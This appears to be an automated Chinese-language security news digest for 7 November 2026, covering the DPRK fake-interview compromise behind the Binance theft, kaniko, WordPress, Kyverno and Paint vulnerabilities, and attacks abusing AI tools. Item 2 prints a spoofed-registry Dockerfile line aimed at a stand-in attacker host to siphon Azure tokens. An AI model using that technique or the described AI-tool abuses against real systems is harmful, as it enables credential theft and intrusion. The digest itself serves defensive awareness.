安全情报日报 Security Intelligence Daily — 2026-11-07
========================================================

头条：Chainalysis 称币安 6.4B 被盗案源于朝鲜假面试

  币安案是当日主线：Chainalysis 指朝鲜假面试为入口，同类剧本 18 个月致 $14.3 million 损失，攻击者
  October 20 才拿到钱包运营访问。WordPress CVE-2026-119977 升级窗口被在野打，单日拦
  12,632 次尝试。kaniko 令牌外发与 Kyverno 提权把收权清单再拉长两行。

共 10 条。字段：类别 | 在野状态 | 置信度 | 来源
--------------------------------------------------------

[1] 勒索团伙 n0n 近 7 天仍新增 36 名受害者
    (ransomware | 置信medium | 分60)
    摘要：
      跟进 2026-10-26 报道（当时 7 天 46 家）：n0n 泄密站近 7 天发布 36 条帖子、涉及受害者 36
      家，较上次口径回落，最新发现时间 2026-11-06；受害者样例含 Centrepoint、Chartboost
      LLC、Cogent Biosciences, Inc.。

[2] kaniko 会把 Azure 构建令牌发给仿冒镜像域
    (supplychain | 置信high | 分80)
    摘要：
      GHSA/NVD 披露 CVE-2026-105769（critical，CVSS 9.3）：chainguard-dev
      kaniko v1.25.20 之前依赖的 ACR 凭据助手
      github.com/chrismellard/docker-credential-acr-env 用
      "unanchored regular expression" 判定 ACR 域名——主机名只要包含
      .azurecr.io、.azurecr.cn、.azurecr.de 或 .azurecr.us
      即被接受。Dockerfile 引用仿冒主机（如 FROM x.azurecr.io.attacker.com/img 或
      COPY --from）且该 registry 无凭据时，kaniko 会用构建身份的 Entra ID 令牌向
      https://<host>/oauth2/exchange 发起 POST，把 Azure Resource
      Manager 作用域令牌送给攻击者；令牌在过期前可直接使用，还能兑换身份可访问的任意 ACR 凭据。无需 RUN 指令或
      push。修复版本 1.25.20（chainguard-forks PR #495）。

[3] Trail of Bits 提醒排查签名系统授权面
    (crypto-infra | 置信high | 分68)
    摘要：
      Trail of Bits 以币安 2026 年 10
      月事件为引发布署名系统风险清单：只监控转账与所有权变更的组织，可能要到资产移动才发现钱包授权被改。文中复述 Binance
      首份通报（失陷 DevOps 笔记本接入 service container 提交未授权提币）与 11 月 3
      日报告（涉及社工、内部 AI 工具滥用、凭据窃取及未授权访问钱包签名）。

[4] Windows Paint 只走商店更新才修 RCE
    (vuln | 置信high | 分70)
    摘要：
      微软修复 CVE-2026-83844（Windows Paint
      远程代码执行缺陷，越界读取，可让攻击者跨网络执行代码），但修复仅通过 Microsoft Store 分发，Windows
      Update 不会推送；修复构建版本 11.2609.401.0，为 The Hacker News 在十个国家检查到的最新
      Paint 构建。

[5] WordPress 升级竞态仍留 RCE 窗口
    (vuln | 在野利用 | 置信high | 分85)
    摘要：
      跟进 2026-11-05 报道（CVE-2026-119977 入 CISA KEV），Xint 与 NVD
      补齐细节：WordPress Core 4.7 through 7.1.3 存在 TOCTOU 竞态，原因是
      "predictable, web-accessible staging paths used during
      full-package core
      upgrades"，未认证攻击者可在升级窗口内执行代码；旧版更新器在未打补丁站点上仍会解包 7.1.4
      的修复内容，窗口依旧存在。Wordfence 在公开披露后 21 小时内记录 "more than 18,500
      requests targeting staged "setup-config.php" installer
      paths"，近 24 小时又拦截 12,632 次利用尝试；Previdian 蜜网 2026 年 10 月 30
      日观测到来自英国 IP 的 3 次利用尝试。CISA 要求 FCEB 机构于 November 6, 2026 前完成修复。

[6] SEAL 称币安遭入侵窗口长达 8 周
    (incident | 置信high | 分76)
    摘要：
      SEAL 复盘与币安口径经 Cointelegraph 对质后修正：Security Alliance 估计朝鲜关联黑客在
      10 月 29 日 $6.3 billion 盗币前约八周已控制一名币安工程师设备（9
      月假招聘得手），但币安发言人澄清整体攻击始于 June——6 月另一名员工安装 AI 编码工具时下载到被篡改的
      Homebrew 安装介质即已失陷，设备虽更换并轮换凭据，攻击者已掌握钱包基础设施人员信息；直到 October 20
      攻击者才借被控设备与内部 AI 工具横向拿下两名钱包基础设施工程师的设备并取得 deployment permission
      token。SEAL 点名 TraderTraitor 2026 年至少四个假招聘壳公司
      citalab.net、citalab.com、bitfit.io、oddium.io，并给出同类潜伏周期：Bitget
      hack 约六周（$388 million）、Kelp DAO 漏洞前 LayerZero 约六周（$293
      million）、AFX 约三周（$24 million）。FBI 周六报告归因 TraderTraitor。

[7] 恶意浏览器扩展借 Claude Dispatch 在桌面执行代码
    (ttp | 有PoC | 置信medium | 分66)
    摘要：
      Forever Security 研究员演示：能在 claude.ai 页面运行脚本的恶意浏览器扩展，可借 Claude
      Desktop 的 Dispatch 功能（手机向桌面下发任务）让 Claude Desktop
      在用户电脑上执行代码；该缺陷目前仍可被利用（尚未修复）。

[8] Chainalysis 追踪币安被盗案资金链
    (incident | 置信high | 分88)
    摘要：
      Chainalysis 发布币安案调查（11 月 4 日亚洲时报刊发原文）：10 月 29 日约 4:20 p.m. ET
      起资金流出 Binance hot wallets，涉案 US$6.4
      billion。攻击入口是朝鲜（DPRK）雇佣欺诈剧本——9 月一名 Binance 工程师收到假面试邀请，经与虚构公司
      "two rounds of interviews" 后下载含恶意代码的 interview assignment
      失陷，攻击者随后 "deployed malware and exploited access to an internal
      AI tool" 深入内网。Chainalysis 过去 18 个月已把 "more than $14.3 million"
      损失归因于同类假面试/恶意载荷投毒手法，称此前的小规模得手是在 "perfecting and evolving their
      methodology"，最终酿成 "the biggest heist in history"。Elliptic 11 月
      6 日统计 $3.1B 被盗资产尚未清洗。

[9] ChatGPT 限制模式被绕过可静默窃取对话
    (vuln | 置信medium | 分72)
    摘要：
      安全研究人员披露一个现已修复的漏洞，可绕过 OpenAI ChatGPT 的 Lockdown Mode
      防护；Lockdown Mode 于 June 2026 推出，用于降低 prompt injection
      导致的数据外泄风险。研究称该缺陷可实现静默对话数据窃取与钓鱼。

[10] Kyverno 跨命名空间提权入 NVD 评 9.9
    (vuln | 置信high | 分72)
    摘要：
      NVD 新收录 CVE-2026-122313（评分 9.9，published 2026-11-05）：Kyverno
      1.17.0 至 1.19.2 之前的版本存在提权缺陷，NamespacedMutatingPolicy 的
      targetMatchConstraints.expression CEL
      输出缺少命名空间校验，命名空间级租户可改写其他命名空间的资源，例如指向另一租户的 RoleBinding，由集群级
      background controller 代为变更。

--------------------------------------------------------
口径与全文版：https://sid-daily.pages.dev
本文件由 SID 流水线自动生成；数字/实体均经机械校验对照来源原文。